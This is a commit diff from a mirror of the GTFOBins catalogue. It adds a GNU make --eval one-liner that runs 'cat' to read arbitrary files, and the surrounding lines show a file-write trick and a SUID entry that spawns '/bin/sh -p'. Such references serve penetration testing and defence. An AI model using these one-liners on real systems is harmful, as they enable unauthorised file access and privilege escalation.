mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 14:30:07 +01:00
Update make.md
Output file contents to stdout
This commit is contained in:
parent
4eca50ea16
commit
c04b99e12b
@ -10,6 +10,13 @@ functions:
|
|||||||
code: |
|
code: |
|
||||||
LFILE=file_to_write
|
LFILE=file_to_write
|
||||||
make -s --eval="\$(file >$LFILE,DATA)" .
|
make -s --eval="\$(file >$LFILE,DATA)" .
|
||||||
|
|
||||||
|
file-read:
|
||||||
|
- description: Requires a newer GNU `make` version.
|
||||||
|
code: |
|
||||||
|
CMND='cat file_to_read'
|
||||||
|
make -s --eval=$'x:\n\t-'"$CMND"
|
||||||
|
|
||||||
suid:
|
suid:
|
||||||
- code: |
|
- code: |
|
||||||
COMMAND='/bin/sh -p'
|
COMMAND='/bin/sh -p'
|
||||||
|
Loading…
Reference in New Issue
Block a user